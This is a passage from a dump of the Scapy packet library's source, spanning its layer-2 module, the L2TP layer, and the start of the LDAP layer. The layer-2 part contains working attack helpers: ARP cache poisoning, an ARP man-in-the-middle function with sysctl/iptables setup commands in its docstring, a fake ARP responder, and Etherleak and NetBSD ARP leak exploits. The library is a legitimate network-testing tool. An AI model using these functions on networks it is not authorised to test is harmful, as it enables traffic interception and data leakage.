self.sprintf(\"802.1ah (isid=%Dot1AH.isid%\")\n\n\nconf.neighbor.register_l3(Ether, Dot1AH, l2_register_l3)\n\n\nbind_layers(Dot3, LLC)\nbind_layers(Ether, LLC, type=122)\nbind_layers(Ether, LLC, type=34928)\nbind_layers(Ether, Dot1Q, type=33024)\nbind_layers(Ether, Dot1AD, type=0x88a8)\nbind_layers(Ether, Dot1AH, type=0x88e7)\nbind_layers(Dot1AD, Dot1AD, type=0x88a8)\nbind_layers(Dot1AD, Dot1Q, type=0x8100)\nbind_layers(Dot1AD, Dot1AH, type=0x88e7)\nbind_layers(Dot1Q, Dot1AD, type=0x88a8)\nbind_layers(Dot1Q, Dot1AH, type=0x88e7)\nbind_layers(Dot1AH, Ether)\nbind_layers(Ether, Ether, type=1)\nbind_layers(Ether, ARP, type=2054)\nbind_layers(CookedLinux, LLC, proto=122)\nbind_layers(CookedLinux, Dot1Q, proto=33024)\nbind_layers(CookedLinux, Dot1AD, type=0x88a8)\nbind_layers(CookedLinux, Dot1AH, type=0x88e7)\nbind_layers(CookedLinux, Ether, proto=1)\nbind_layers(CookedLinux, ARP, proto=2054)\nbind_layers(MPacketPreamble, Ether)\nbind_layers(GRE, LLC, proto=122)\nbind_layers(GRE, Dot1Q, proto=33024)\nbind_layers(GRE, Dot1AD, type=0x88a8)\nbind_layers(GRE, Dot1AH, type=0x88e7)\nbind_layers(GRE, Ether, proto=0x6558)\nbind_layers(GRE, ARP, proto=2054)\nbind_layers(GRE, GRErouting, {\"routing_present\": 1})\nbind_layers(GRErouting, conf.raw_layer, {\"address_family\": 0, \"SRE_len\": 0})\nbind_layers(GRErouting, GRErouting)\nbind_layers(LLC, STP, dsap=66, ssap=66, ctrl=3)\nbind_layers(LLC, SNAP, dsap=170, ssap=170, ctrl=3)\nbind_layers(SNAP, Dot1Q, code=33024)\nbind_layers(SNAP, Dot1AD, type=0x88a8)\nbind_layers(SNAP, Dot1AH, type=0x88e7)\nbind_layers(SNAP, Ether, code=1)\nbind_layers(SNAP, ARP, code=2054)\nbind_layers(SNAP, STP, code=267)\n\nconf.l2types.register(ARPHDR_ETHER, Ether)\nconf.l2types.register_num2layer(ARPHDR_METRICOM, Ether)\nconf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether)\nconf.l2types.register_layer2num(ARPHDR_ETHER, Dot3)\nconf.l2types.register(DLT_LINUX_SLL, CookedLinux)\nconf.l2types.register(DLT_LINUX_SLL2, CookedLinuxV2)\nconf.l2types.register(DLT_ETHERNET_MPACKET, MPacketPreamble)\nconf.l2types.register_num2layer(DLT_LINUX_IRDA, CookedLinux)\nconf.l2types.register(DLT_NULL, Loopback)\nconf.l2types.register(DLT_LOOP, LoopbackOpenBSD)\n\nconf.l3types.register(ETH_P_ARP, ARP)\n\n\n# Techniques\n\n\n@conf.commands.register\ndef arpcachepoison(\n    target,  # type: Union[str, List[str]]\n    addresses,  # type: Union[str, Tuple[str, str], List[Tuple[str, str]]]\n    broadcast=False,  # type: bool\n    count=None,  # type: Optional[int]\n    interval=15,  # type: int\n    **kwargs,  # type: Any\n):\n    # type: (...) -> None\n    \"\"\"Poison targets' ARP cache\n\n    :param target: Can be an IP, subnet (string) or a list of IPs. This lists the IPs\n                   or the subnet that will be poisoned.\n    :param addresses: Can be either a string, a tuple of a list of tuples.\n                      If it's a string, it's the IP to advertise to the victim,\n                      with the local interface's MAC. If it's a tuple,\n                      it's (\"IP\", \"MAC\"). It it's a list, it's [(\"IP\", \"MAC\")].\n                      \"IP\" can be a subnet of course.\n    :param broadcast: Use broadcast ethernet\n\n    Examples for target \"192.168.0.2\"::\n\n        >>> arpcachepoison(\"192.168.0.2\", \"192.168.0.1\")\n        >>> arpcachepoison(\"192.168.0.1/24\", \"192.168.0.1\")\n        >>> arpcachepoison([\"192.168.0.2\", \"192.168.0.3\"], \"192.168.0.1\")\n        >>> arpcachepoison(\"192.168.0.2\", (\"192.168.0.1\", get_if_hwaddr(\"virbr0\")))\n        >>> arpcachepoison(\"192.168.0.2\", [(\"192.168.0.1\", get_if_hwaddr(\"virbr0\"),\n        ...                                (\"192.168.0.2\", \"aa:aa:aa:aa:aa:aa\")])\n\n    \"\"\"\n    if isinstance(target, str):\n        targets = Net(target)  # type: Union[Net, List[str]]\n        str_target = target\n    else:\n        targets = target\n        str_target = target[0]\n    if isinstance(addresses, str):\n        couple_list = [(addresses, get_if_hwaddr(conf.route.route(str_target)[0]))]\n    elif isinstance(addresses, tuple):\n        couple_list = [addresses]\n    else:\n        couple_list = addresses\n    p: List[Packet] = [\n        Ether(src=y, dst=\"ff:ff:ff:ff:ff:ff\" if broadcast else None) /\n        ARP(op=\"who-has\", psrc=x, pdst=targets,\n            hwsrc=y, hwdst=\"00:00:00:00:00:00\")\n        for x, y in couple_list\n    ]\n    if count is not None:\n        sendp(p, iface_hint=str_target, count=count, inter=interval, **kwargs)\n        return\n    try:\n        while True:\n            sendp(p, iface_hint=str_target, **kwargs)\n            time.sleep(interval)\n    except KeyboardInterrupt:\n        pass\n\n\n@conf.commands.register\ndef arp_mitm(\n    ip1,  # type: str\n    ip2,  # type: str\n    mac1=None,  # type: Optional[Union[str, List[str]]]\n    mac2=None,  # type: Optional[Union[str, List[str]]]\n    broadcast=False,  # type: bool\n    target_mac=None,  # type: Optional[str]\n    iface=None,  # type: Optional[_GlobInterfaceType]\n    inter=3,  # type: int\n):\n    # type: (...) -> None\n    r\"\"\"ARP MitM: poison 2 target's ARP cache\n\n    :param ip1: IPv4 of the first machine\n    :param ip2: IPv4 of the second machine\n    :param mac1: MAC of the first machine (optional: will ARP otherwise)\n    :param mac2: MAC of the second machine (optional: will ARP otherwise)\n    :param broadcast: if True, will use broadcast mac for MitM by default\n    :param target_mac: MAC of the attacker (optional: default to the interface's one)\n    :param iface: the network interface. (optional: default, route for ip1)\n\n    Example usage::\n\n        $ sysctl net.ipv4.conf.virbr0.send_redirects=0  # virbr0 = interface\n        $ sysctl net.ipv4.ip_forward=1\n        $ sudo iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1\n        $ sudo scapy\n        >>> arp_mitm(\"192.168.122.156\", \"192.168.122.17\")\n\n    Alternative usages:\n        >>> arp_mitm(\"10.0.0.1\", \"10.1.1.0/21\", iface=\"eth1\")\n        >>> arp_mitm(\"10.0.0.1\", \"10.1.1.2\",\n        ...          target_mac=\"aa:aa:aa:aa:aa:aa\",\n        ...          mac2=\"00:1e:eb:bf:c1:ab\")\n\n    .. warning::\n        If using a subnet, this will first perform an arping, unless broadcast is on!\n\n    Remember to change the sysctl settings back..\n    \"\"\"\n    if not iface:\n        iface = conf.route.route(ip1)[0]\n    if not target_mac:\n        target_mac = get_if_hwaddr(iface)\n\n    def _tups(ip, mac):\n        # type: (str, Optional[Union[str, List[str]]]) -> Iterable[Tuple[str, str]]\n        if mac is None:\n            if broadcast:\n                # ip can be a Net/list/etc and will be iterated upon while sending\n                return [(ip, \"ff:ff:ff:ff:ff:ff\")]\n            return [(x.query.pdst, x.answer.hwsrc)\n                    for x in arping(ip, verbose=0, iface=iface)[0]]\n        elif isinstance(mac, list):\n            return [(ip, x) for x in mac]\n        else:\n            return [(ip, mac)]\n\n    tup1 = _tups(ip1, mac1)\n    if not tup1:\n        raise OSError(f\"Could not resolve {ip1}\")\n    tup2 = _tups(ip2, mac2)\n    if not tup2:\n        raise OSError(f\"Could not resolve {ip2}\")\n    print(f\"MITM on {iface}: %s <--> {target_mac} <--> %s\" % (\n        [x[1] for x in tup1],\n        [x[1] for x in tup2],\n    ))\n    # We loop who-has requests\n    srploop(\n        list(itertools.chain(\n            (x\n             for ipa, maca in tup1\n             for ipb, _ in tup2\n             if ipb != ipa\n             for x in\n             Ether(dst=maca, src=target_mac) /\n             ARP(op=\"who-has\", psrc=ipb, pdst=ipa,\n                 hwsrc=target_mac, hwdst=\"00:00:00:00:00:00\")\n             ),\n            (x\n             for ipb, macb in tup2\n             for ipa, _ in tup1\n             if ipb != ipa\n             for x in\n             Ether(dst=macb, src=target_mac) /\n             ARP(op=\"who-has\", psrc=ipa, pdst=ipb,\n                 hwsrc=target_mac, hwdst=\"00:00:00:00:00:00\")\n             ),\n        )),\n        filter=\"arp and arp[7] = 2\",\n        inter=inter,\n        iface=iface,\n        timeout=0.5,\n        verbose=1,\n        store=0,\n    )\n    print(\"Restoring...\")\n    sendp(\n        list(itertools.chain(\n            (x\n             for ipa, maca in tup1\n             for ipb, macb in tup2\n             if ipb != ipa\n             for x in\n             Ether(dst=\"ff:ff:ff:ff:ff:ff\", src=macb) /\n             ARP(op=\"who-has\", psrc=ipb, pdst=ipa,\n                 hwsrc=macb, hwdst=\"00:00:00:00:00:00\")\n             ),\n            (x\n             for ipb, macb in tup2\n             for ipa, maca in tup1\n             if ipb != ipa\n             for x in\n             Ether(dst=\"ff:ff:ff:ff:ff:ff\", src=maca) /\n             ARP(op=\"who-has\", psrc=ipa, pdst=ipb,\n                 hwsrc=maca, hwdst=\"00:00:00:00:00:00\")\n             ),\n        )),\n        iface=iface\n    )\n\n\nclass ARPingResult(SndRcvList):\n    def __init__(self,\n                 res=None,  # type: Optional[Union[_PacketList[QueryAnswer], List[QueryAnswer]]]  # noqa: E501\n                 name=\"ARPing\",  # type: str\n                 stats=None  # type: Optional[List[Type[Packet]]]\n                 ):\n        SndRcvList.__init__(self, res, name, stats)\n\n    def show(self, *args, **kwargs):\n        # type: (*Any, **Any) -> None\n        \"\"\"\n        Print the list of discovered MAC addresses.\n        \"\"\"\n        data = list()  # type: List[Tuple[str | List[str], ...]]\n\n        for s, r in self.res:\n            manuf = conf.manufdb._get_short_manuf(r.src)\n            manuf = \"unknown\" if manuf == r.src else manuf\n            data.append((r[Ether].src, manuf, r[ARP].psrc))\n\n        print(\n            pretty_list(\n                data,\n                [(\"src\", \"manuf\", \"psrc\")],\n                sortBy=2,\n            )\n        )\n\n\n@conf.commands.register\ndef arping(net: str,\n           timeout: int = 2,\n           cache: int = 0,\n           verbose: Optional[int] = None,\n           threaded: bool = True,\n           **kargs: Any,\n           ) -> Tuple[ARPingResult, PacketList]:\n    \"\"\"\n    Send ARP who-has requests to determine which hosts are up::\n\n        arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None\n\n    Set cache=True if you want arping to modify internal ARP-Cache\n    \"\"\"\n    if verbose is None:\n        verbose = conf.verb\n\n    hwaddr = None\n    if \"iface\" in kargs:\n        hwaddr = get_if_hwaddr(kargs[\"iface\"])\n    if isinstance(net, list):\n        hint = net[0]\n    else:\n        hint = str(net)\n    psrc = conf.route.route(\n        hint,\n        dev=kargs.get(\"iface\", None),\n        verbose=False,\n        _internal=True,  # Do not follow default routes.\n    )[1]\n    if psrc == \"0.0.0.0\" and \"iface\" not in kargs:\n        warning(\n            \"Could not find the interface for destination %s based on the routes. \"\n            \"Using conf.iface. Please provide an 'iface' !\" % hint\n        )\n\n    ans, unans = srp(\n        Ether(dst=\"ff:ff:ff:ff:ff:ff\", src=hwaddr) / ARP(\n            pdst=net,\n            psrc=psrc,\n            hwsrc=hwaddr\n        ),\n        verbose=verbose,\n        filter=\"arp and arp[7] = 2\",\n        timeout=timeout,\n        threaded=threaded,\n        iface_hint=hint,\n        **kargs,\n    )\n    ans = ARPingResult(ans.res)\n\n    if cache and ans is not None:\n        for pair in ans:\n            _arp_cache[pair[1].psrc] = pair[1].hwsrc\n    if ans is not None and verbose:\n        ans.show()\n    return ans, unans\n\n\n@conf.commands.register\ndef is_promisc(ip, fake_bcast=\"ff:ff:00:00:00:00\", **kargs):\n    # type: (str, str, **Any) -> bool\n    \"\"\"Try to guess if target is in Promisc mode. The target is provided by its ip.\"\"\"  # noqa: E501\n\n    responses = srp1(Ether(dst=fake_bcast) / ARP(op=\"who-has\", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs)  # noqa: E501\n\n    return responses is not None\n\n\n@conf.commands.register\ndef promiscping(net, timeout=2, fake_bcast=\"ff:ff:ff:ff:ff:fe\", **kargs):\n    # type: (str, int, str, **Any) -> Tuple[ARPingResult, PacketList]\n    \"\"\"Send ARP who-has requests to determine which hosts are in promiscuous mode\n    promiscping(net, iface=conf.iface)\"\"\"\n    ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net),\n                     filter=\"arp and arp[7] = 2\", timeout=timeout, iface_hint=net, **kargs)  # noqa: E501\n    ans = ARPingResult(ans.res, name=\"PROMISCPing\")\n\n    ans.show()\n    return ans, unans\n\n\nclass ARP_am(AnsweringMachine[Packet]):\n    \"\"\"Fake ARP Relay Daemon (farpd)\n\n    example:\n    To respond to an ARP request for 192.168.100 replying on the\n    ingress interface::\n\n      farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05')\n\n    To respond on a different interface add the interface parameter::\n\n      farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0')\n\n    To respond on ANY arp request on an interface with mac address ARP_addr::\n\n      farpd(ARP_addr='00:01:02:03:04:05',iface='eth1')\n\n    To respond on ANY arp request with my mac addr on the given interface::\n\n      farpd(iface='eth1')\n\n    Optional Args::\n\n     inter=<n>   Interval in seconds between ARP replies being sent\n\n    \"\"\"\n\n    function_name = \"farpd\"\n    filter = \"arp\"\n    send_function = staticmethod(sendp)\n\n    def parse_options(self, IP_addr=None, ARP_addr=None, from_ip=None):\n        # type: (Optional[str], Optional[str], Optional[str]) -> None\n        if isinstance(IP_addr, str):\n            self.IP_addr = Net(IP_addr)  # type: Optional[Net]\n        else:\n            self.IP_addr = IP_addr\n        if isinstance(from_ip, str):\n            self.from_ip = Net(from_ip)  # type: Optional[Net]\n        else:\n            self.from_ip = from_ip\n        self.ARP_addr = ARP_addr\n\n    def is_request(self, req):\n        # type: (Packet) -> bool\n        if not req.haslayer(ARP):\n            return False\n        arp = req[ARP]\n        return (\n            arp.op == 1 and\n            (self.IP_addr is None or arp.pdst in self.IP_addr) and\n            (self.from_ip is None or arp.psrc in self.from_ip)\n        )\n\n    def make_reply(self, req):\n        # type: (Packet) -> Packet\n        ether = req[Ether]\n        arp = req[ARP]\n\n        if 'iface' in self.optsend:\n            iff = cast(Union[NetworkInterface, str], self.optsend.get('iface'))\n        else:\n            iff, a, gw = conf.route.route(arp.psrc)\n        self.iff = iff\n        if self.ARP_addr is None:\n            try:\n                ARP_addr = get_if_hwaddr(iff)\n            except Exception:\n                ARP_addr = \"00:00:00:00:00:00\"\n        else:\n            ARP_addr = self.ARP_addr\n        resp = Ether(dst=ether.src,\n                     src=ARP_addr) / ARP(op=\"is-at\",\n                                         hwsrc=ARP_addr,\n                                         psrc=arp.pdst,\n                                         hwdst=arp.hwsrc,\n                                         pdst=arp.psrc)\n        return resp\n\n    def send_reply(self, reply, send_function=None):\n        # type: (Packet, Any) -> None\n        if 'iface' in self.optsend:\n            self.send_function(reply, **self.optsend)\n        else:\n            self.send_function(reply, iface=self.iff, **self.optsend)\n\n    def print_reply(self, req, reply):\n        # type: (Packet, Packet) -> None\n        print(\"%s ==> %s on %s\" % (req.summary(), reply.summary(), self.iff))\n\n\n@conf.commands.register\ndef etherleak(target, **kargs):\n    # type: (str, **Any) -> Tuple[SndRcvList, PacketList]\n    \"\"\"Exploit Etherleak flaw\"\"\"\n    return srp(Ether() / ARP(pdst=target),\n               prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load),  # noqa: E501\n               filter=\"arp\", **kargs)\n\n\n@conf.commands.register\ndef arpleak(target, plen=255, hwlen=255, **kargs):\n    # type: (str, int, int, **Any) -> Tuple[SndRcvList, PacketList]\n    \"\"\"Exploit ARP leak flaws, like NetBSD-SA2017-002.\n\nhttps://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc\n\n    \"\"\"\n    # We want explicit packets\n    pkts_iface = {}  # type: Dict[str, List[Packet]]\n    for pkt in ARP(pdst=target):\n        # We have to do some of Scapy's work since we mess with\n        # important values\n        iface = conf.route.route(pkt.pdst)[0]\n        psrc = get_if_addr(iface)\n        hwsrc = get_if_hwaddr(iface)\n        pkt.plen = plen\n        pkt.hwlen = hwlen\n        if plen == 4:\n            pkt.psrc = psrc\n        else:\n            pkt.psrc = inet_aton(psrc)[:plen]\n            pkt.pdst = inet_aton(pkt.pdst)[:plen]\n        if hwlen == 6:\n            pkt.hwsrc = hwsrc\n        else:\n            pkt.hwsrc = mac2str(hwsrc)[:hwlen]\n        pkts_iface.setdefault(iface, []).append(\n            Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt\n        )\n    ans, unans = SndRcvList(), PacketList(name=\"Unanswered\")\n    for iface, pkts in pkts_iface.items():\n        ans_new, unans_new = srp(pkts, iface=iface, filter=\"arp\", **kargs)\n        ans += ans_new\n        unans += unans_new\n        ans.listname = \"Results\"\n        unans.listname = \"Unanswered\"\n    for _, rcv in ans:\n        if ARP not in rcv:\n            continue\n        rcv = rcv[ARP]\n        psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc)\n        if plen > 4 and len(psrc) > 4:\n            print(\"psrc\")\n            hexdump(psrc[4:])\n            print()\n        hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc)\n        if hwlen > 6 and len(hwsrc) > 6:\n            print(\"hwsrc\")\n            hexdump(hwsrc[6:])\n            print()\n    return ans, unans\n"
  },
  {
    "path": "scapy/layers/l2tp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nL2TP (Layer 2 Tunneling Protocol) for VPNs.\n\n[RFC 2661]\n\"\"\"\n\nimport struct\n\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.fields import BitEnumField, ConditionalField, FlagsField, \\\n    PadField, ShortField\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.ppp import PPP\n\n\nclass L2TP(Packet):\n    name = \"L2TP\"\n    fields_desc = [\n        FlagsField(\"hdr\", 0, 12, ['res00', 'res01', 'res02', 'res03', 'priority', 'offset',  # noqa: E501\n                                  'res06', 'sequence', 'res08', 'res09', 'length', 'control']),  # noqa: E501\n        BitEnumField(\"version\", 2, 4, {2: 'L2TPv2'}),\n\n        ConditionalField(ShortField(\"len\", None),\n                         lambda pkt: pkt.hdr & 'control+length'),\n        ShortField(\"tunnel_id\", 0),\n        ShortField(\"session_id\", 0),\n        ConditionalField(ShortField(\"ns\", 0),\n                         lambda pkt: pkt.hdr & 'sequence+control'),\n        ConditionalField(ShortField(\"nr\", 0),\n                         lambda pkt: pkt.hdr & 'sequence+control'),\n        ConditionalField(\n            PadField(ShortField(\"offset\", 0), 4, b\"\\x00\"),\n            lambda pkt: not (pkt.hdr & 'control') and pkt.hdr & 'offset'\n        )\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.len is None and self.hdr & 'control+length':\n            tmp_len = len(pkt) + len(pay)\n            pkt = pkt[:2] + struct.pack(\"!H\", tmp_len) + pkt[4:]\n        return pkt + pay\n\n\nbind_bottom_up(UDP, L2TP, dport=1701)\nbind_bottom_up(UDP, L2TP, sport=1701)\nbind_layers(UDP, L2TP, dport=1701, sport=1701)\nbind_layers(L2TP, PPP,)\n"
  },
  {
    "path": "scapy/layers/ldap.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nLDAP\n\nRFC 1777 - LDAP v2\nRFC 4511 - LDAP v3\n\nNote: to mimic Microsoft Windows LDAP packets, you must set::\n\n    conf.ASN1_default_long_size = 4\n\n.. note::\n    You will find more complete documentation for this layer over at\n    `LDAP <https://scapy.readthedocs.io/en/latest/layers/ldap.html>`_\n\"\"\"\n\nimport collections\nimport re\nimport socket\nimport ssl\nimport string\nimport struct\nimport uuid\n\nfrom scapy.arch import get_if_addr\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.asn1.asn1 import (\n    ASN1_BOOLEAN,\n    ASN1_Class,\n    ASN1_Codecs,\n    ASN1_ENUMERATED,\n    ASN1_INTEGER,\n    ASN1_STRING,\n)\nfrom scapy.asn1.ber import (\n    BER_Decoding_Error,\n    BER_id_dec,\n    BER_len_dec,\n    BERcodec_STRING,\n)\nfrom scapy.asn1fields import (\n    ASN1F_badsequence,\n    ASN1F_BOOLEAN,\n    ASN1F_CHOICE,\n    ASN1F_ENUMERATED,\n    ASN1F_FLAGS,\n    ASN1F_INTEGER,\n    ASN1F_NULL,\n    ASN1F_optional,\n    ASN1F_PACKET,\n    ASN1F_SEQUENCE_OF,\n    ASN1F_SEQUENCE,\n    ASN1F_SET_OF,\n    ASN1F_STRING_PacketField,\n    ASN1F_STRING,\n)\nfrom scapy.asn1packet import ASN1_Packet\nfrom scapy.config import conf\nfrom scapy.compat import StrEnum\nfrom scapy.error import log_runtime\nfrom scapy.fields import (\n    FieldLenField,\n    FlagsField,\n    ThreeBytesField,\n)\nfrom scapy.packet import (\n    Packet,\n    bind_bottom_up,\n    bind_layers,\n)\nfrom scapy.sendrecv import send\nfrom scapy.supersocket import (\n    SimpleSocket,\n    StreamSocket,\n    SSLStreamSocket,\n)\n\nfrom scapy.layers.dns import dns_resolve\nfrom scapy.layers.inet import IP, TCP, UDP\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.layers.gssapi import (\n    _GSSAPI_Field,\n    ChannelBindingType,\n    GSS_C_FLAGS,\n    GSS_C_NO_CHANNEL_BINDINGS,\n    GSS_QOP_REQ_FLAGS,\n    GSS_S_COMPLETE,\n    GSS_S_CONTINUE_NEEDED,\n    GSSAPI_BLOB_SIGNATURE,\n    GSSAPI_BLOB,\n    GssChannelBindings,\n    SSP,\n)\nfrom scapy.layers.netbios import NBTDatagram\nfrom scapy.layers.smb import (\n    NETLOGON,\n    NETLOGON_SAM_LOGON_RESPONSE_EX,\n)\nfrom scapy.layers.windows.erref import STATUS_ERREF\n\n# Typing imports\nfrom typing import (\n    Any,\n    Dict,\n    List,\n    Optional,\n    Union,\n)\n\n# Elements of protocol\n# https://datatracker.ietf.org/doc/html/rfc1777#section-4\n\nLDAPString = ASN1F_STRING\nLDAPOID = ASN1F_STRING\nLDAPDN = LDAPString\nRelativeLDAPDN = LDAPString\nAttributeType = LDAPString\nAttributeValue = ASN1F_STRING\nURI = LDAPString\n\n\nclass AttributeValueAssertion(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        AttributeType(\"attributeType\", \"organizationName\"),\n        AttributeValue(\"attributeValue\", \"\"),\n    )\n\n\nclass LDAPReferral(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = LDAPString(\"uri\", \"\")\n\n\nLDAPResult = (\n    ASN1F_ENUMERATED(\n        \"resultCode\",\n        0,\n        {\n            0: \"success\",\n            1: \"operationsError\",\n            2: \"protocolError\",\n            3: \"timeLimitExceeded\",\n            4: \"sizeLimitExceeded\",\n            5: \"compareFalse\",\n            6: \"compareTrue\",\n            7: \"authMethodNotSupported\",\n            8: \"strongAuthRequired\",\n            10: \"referral\",\n            11: \"adminLimitExceeded\",\n            14: \"saslBindInProgress\",\n            16: \"noSuchAttribute\",\n            17: \"undefinedAttributeType\",\n            18: \"inappropriateMatching\",\n            19: \"constraintViolation\",\n            20: \"attributeOrValueExists\",\n            21: \"invalidAttributeSyntax\",\n            32: \"noSuchObject\",\n            33: \"aliasProblem\",\n            34: \"invalidDNSyntax\",\n            35: \"isLeaf\",\n            36: \"aliasDereferencingProblem\",\n            48: \"inappropriateAuthentication\",\n            49: \"invalidCredentials\",\n            50: \"insufficientAccessRights\",\n            51: \"busy\",\n            52: \"unavailable\",\n            53: \"unwillingToPerform\",\n            54: \"loopDetect\",\n            64: \"namingViolation\",\n            65: \"objectClassViolation\",\n            66: \"notAllowedOnNonLeaf\",\n            67: \"notAllowedOnRDN\",\n            68: \"entryAlreadyExists\",\n            69: \"objectClassModsProhibited\",\n            70: \"resultsTooLarge\",  # CLDAP\n            80: \"other\",\n        },\n    ),\n    LDAPDN(\"matchedDN\", \"\"),\n    LDAPString(\"diagnosticMessage\", \"\"),\n    # LDAP v3 only\n    ASN1F_optional(ASN1F_SEQUENCE_OF(\"referral\", [], LDAPReferral, implicit_tag=0xA3)),\n)\n\n\n# ldap APPLICATION\n\n\nclass ASN1_Class_LDAP(ASN1_Class):\n    name = \"LDAP\"\n    # APPLICATION + CONSTRUCTED = 0x40 | 0x20\n    BindRequest = 0x60\n    BindResponse = 0x61\n    UnbindRequest = 0x42  # not constructed\n    SearchRequest = 0x63\n    SearchResultEntry = 0x64\n    SearchResultDone = 0x65\n    ModifyRequest = 0x66\n    ModifyResponse = 0x67\n    AddRequest = 0x68\n    AddResponse = 0x69\n    DelRequest = 0x4A  # not constructed\n    DelResponse = 0x6B\n    ModifyDNRequest = 0x6C\n    ModifyDNResponse = 0x6D\n    CompareRequest = 0x6E\n    CompareResponse = 0x7F\n    AbandonRequest = 0x50  # application + primitive\n    SearchResultReference = 0x73\n    ExtendedRequest = 0x77\n    ExtendedResponse = 0x78\n\n\n# Bind operation\n# https://datatracker.ietf.org/doc/html/rfc4511#section-4.2\n\n\nclass ASN1_Class_LDAP_Authentication(ASN1_Class):\n    name = \"LDAP Authentication\"\n    # CONTEXT-SPECIFIC = 0x80\n    simple = 0x80\n    krbv42LDAP = 0x81\n    krbv42DSA = 0x82\n    sasl = 0xA3  # CONTEXT-SPECIFIC | CONSTRUCTED\n    # [MS-ADTS] sect 5.1.1.1\n    sicilyPackageDiscovery = 0x89\n    sicilyNegotiate = 0x8A\n    sicilyResponse = 0x8B\n\n\n# simple\nclass LDAP_Authentication_simple(ASN1_STRING):\n    tag = ASN1_Class_LDAP_Authentication.simple\n\n\nclass BERcodec_LDAP_Authentication_simple(BERcodec_STRING):\n    tag = ASN1_Class_LDAP_Authentication.simple\n\n\nclass ASN1F_LDAP_Authentication_simple(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_LDAP_Authentication.simple\n\n\n# krbv42LDAP\nclass LDAP_Authentication_krbv42LDAP(ASN1_STRING):\n    tag = ASN1_Class_LDAP_Authentication.krbv42LDAP\n\n\nclass BERcodec_LDAP_Authentication_krbv42LDAP(BERcodec_STRING):\n    tag = ASN1_Class_LDAP_Authentication.krbv42LDAP\n\n\nclass ASN1F_LDAP_Authentication_krbv42LDAP(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_LDAP_Authentication.krbv42LDAP\n\n\n# krbv42DSA\nclass LDAP_Authentication_krbv42DSA(ASN1_STRING):\n    tag = ASN1_Class_LDAP_Authentication.krbv42DSA\n\n\nclass BERcodec_LDAP_Authentication_krbv42DSA(BERcodec_STRING):\n    tag = ASN1_Class_LDAP_Authentication.krbv42DSA\n\n\nclass ASN1F_LDAP_Authentication_krbv42DSA(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_LDAP_Authentication.krbv42DSA\n\n\n# sicilyPackageDiscovery\nclass LDAP_Authentication_sicilyPackageDiscovery(ASN1_STRING):\n    tag = ASN1_Class_LDAP_Authentication.sicilyPackageDiscovery\n\n\nclass BERcodec_LDAP_Authentication_sicilyPackageDiscovery(BERcodec_STRING):\n    tag = ASN1_Class_LDAP_Authentication.sicilyPackageDiscovery\n\n\nclass ASN1F_LDAP_Authentication_sicilyPackageDiscovery(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_LDAP_Authentication.sicilyPackageDiscovery\n\n\n# sicilyNegotiate\nclass LDAP_Authentication_sicilyNegotiate(ASN1_STRING):\n    tag = ASN1_Class_LDAP_Authentication.sicilyNegotiate\n\n\nclass BERcodec_LDAP_Authentication_sicilyNegotiate(BERcodec_STRING):\n    tag = ASN1_Class_LDAP_Authentication.sicilyNegotiate\n\n\nclass ASN1F_LDAP_Authentication_sicilyNegotiate(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_LDAP_Authentication.sicilyNegotiate\n\n\n# sicilyResponse\nclass LDAP_Authentication_sicilyResponse(ASN1_STRING):\n    tag = ASN1_Class_LDAP_Authentication.sicilyResponse\n\n\nclass BERcodec_LDAP_Authentication_sicilyResponse(BERcodec_STRING):\n    tag = ASN1_Class_LDAP_Authentication.sicilyResponse\n\n\nclass ASN1F_LDAP_Authentication_sicilyResponse(ASN1F_STRING):\n    ASN1_tag = ASN1_Class_LDAP_Authentication.sicilyResponse\n\n\n_SASL_MECHANISMS = {b\"GSS-SPNEGO\": GSSAPI_BLOB, b\"GSSAPI\": GSSAPI_BLOB}\n\n\nclass _SaslCredentialsField(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_SaslCredentialsField, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        if pkt.mechanism.val in _SASL_MECHANISMS:\n            return (\n                _SASL_MECHANISMS[pkt.mechanism.val](val[0].val, _underlayer=pkt),\n                val[1],\n            )\n        return val\n\n\nclass LDAP_Authentication_SaslCredentials(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        LDAPString(\"mechanism\", \"\"),\n        ASN1F_optional(\n            _SaslCredentialsField(\"credentials\", \"\"),\n        ),\n        implicit_tag=ASN1_Class_LDAP_Authentication.sasl,\n    )\n\n\nclass LDAP_BindRequest(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_INTEGER(\"version\", 3),\n        LDAPDN(\"bind_name\", \"\"),\n        ASN1F_CHOICE(\n            \"authentication\",\n            None,\n            